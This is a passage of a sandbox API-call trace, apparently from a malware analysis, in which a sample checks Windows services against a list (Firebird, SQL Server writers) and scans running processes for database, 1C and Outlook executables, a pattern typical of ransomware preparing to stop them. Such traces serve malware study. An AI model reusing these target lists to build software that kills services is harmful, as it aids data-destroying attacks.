[0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.709] lstrlenW (lpString="LanmanServer") returned 12 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.709] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.710] lstrlenW (lpString="lmhosts") returned 7 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.710] lstrlenW (lpString="MMCSS") returned 5 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.710] lstrlenW (lpString="MpsSvc") returned 6 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.710] lstrlenW (lpString="Netman") returned 6 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.711] lstrlenW (lpString="netprofm") returned 8 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.711] lstrlenW (lpString="NlaSvc") returned 6 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.712] lstrlenW (lpString="nsi") returned 3 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.712] lstrlenW (lpString="PcaSvc") returned 6 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.712] lstrlenW (lpString="PlugPlay") returned 8 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.712] lstrlenW (lpString="Power") returned 5 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.713] lstrlenW (lpString="ProfSvc") returned 7 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.713] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.713] lstrlenW (lpString="RpcSs") returned 5 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.714] lstrlenW (lpString="SamSs") returned 5 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.714] lstrlenW (lpString="Schedule") returned 8 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.714] lstrlenW (lpString="SENS") returned 4 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.714] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.715] lstrlenW (lpString="Spooler") returned 7 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.715] lstrlenW (lpString="sppsvc") returned 6 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0042.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0042.715] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0042.715] lstrlenW (lpString="SysMain") returned 7 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.715] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.715] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.715] lstrlenW (lpString="Themes") returned 6 [0042.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.716] lstrlenW (lpString="TrkWks") returned 6 [0042.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.716] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.716] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.716] lstrlenW (lpString="UxSms") returned 5 [0042.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.716] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.716] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.716] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.716] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.716] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.717] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.717] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.717] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.717] lstrlenW (lpString="WinDefend") returned 9 [0042.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0042.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0042.717] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0042.717] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0042.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0042.717] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.717] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.717] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.717] lstrlenW (lpString="Winmgmt") returned 7 [0042.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.718] lstrlenW (lpString="wscsvc") returned 6 [0042.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0042.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0042.718] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0042.718] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0042.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0042.718] lstrlenW (lpString="wuauserv") returned 8 [0042.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0042.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0042.718] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0042.718] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0042.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0042.718] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x616220 | out: hHeap=0x5c0000) returned 1 [0042.718] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114 [0042.732] Process32FirstW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.733] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.734] lstrlenW (lpString="System") returned 6 [0042.734] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.734] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.734] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.734] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.734] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.734] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.790] lstrlenW (lpString="smss.exe") returned 8 [0042.790] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.848] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.848] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.848] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.848] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.848] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.848] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.849] lstrlenW (lpString="csrss.exe") returned 9 [0042.850] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.851] lstrlenW (lpString="wininit.exe") returned 11 [0042.851] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.852] lstrlenW (lpString="csrss.exe") returned 9 [0042.852] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.853] lstrlenW (lpString="winlogon.exe") returned 12 [0042.853] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.854] lstrlenW (lpString="services.exe") returned 12 [0042.854] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.855] lstrlenW (lpString="lsass.exe") returned 9 [0042.855] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.856] lstrlenW (lpString="lsm.exe") returned 7 [0042.856] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.857] lstrlenW (lpString="svchost.exe") returned 11 [0042.857] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.858] lstrlenW (lpString="svchost.exe") returned 11 [0042.858] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.859] lstrlenW (lpString="svchost.exe") returned 11 [0042.859] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.860] lstrlenW (lpString="svchost.exe") returned 11 [0042.860] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.861] lstrlenW (lpString="svchost.exe") returned 11 [0042.861] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.862] lstrlenW (lpString="audiodg.exe") returned 11 [0042.862] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.863] lstrlenW (lpString="svchost.exe") returned 11 [0042.863] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.864] lstrlenW (lpString="svchost.exe") returned 11 [0042.864] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.865] lstrlenW (lpString="dwm.exe") returned 7 [0042.865] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.866] lstrlenW (lpString="explorer.exe") returned 12 [0042.866] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.868] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.868] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.869] lstrlenW (lpString="taskhost.exe") returned 12 [0042.869] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.870] lstrlenW (lpString="svchost.exe") returned 11 [0042.870] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.871] lstrlenW (lpString="taskeng.exe") returned 11 [0042.871] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.872] lstrlenW (lpString="taskhost.exe") returned 12 [0042.872] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.873] lstrlenW (lpString="svchost.exe") returned 11 [0042.873] Process32NextW (in: hSnapshot=0x114, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0042.874] lstrlenW 